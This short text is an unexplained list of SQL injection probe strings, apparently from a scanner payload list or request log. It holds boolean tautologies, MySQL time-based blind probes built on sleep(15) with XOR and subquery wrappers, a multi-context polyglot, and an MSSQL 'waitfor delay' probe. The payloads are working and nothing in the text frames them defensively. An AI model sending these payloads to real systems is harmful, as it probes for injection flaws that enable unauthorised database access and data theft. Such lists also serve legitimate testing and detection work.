1

-1 OR 2+577-577-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

-1' OR 2+563-563-1=0+0+0+1 --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1' OR 2+992-992-1=0+0+0+1 or '0yQjlRoC'='

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1" OR 2+479-479-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

if(now()=sysdate(),sleep(15),0)

-1; waitfor delay '0:0:15' --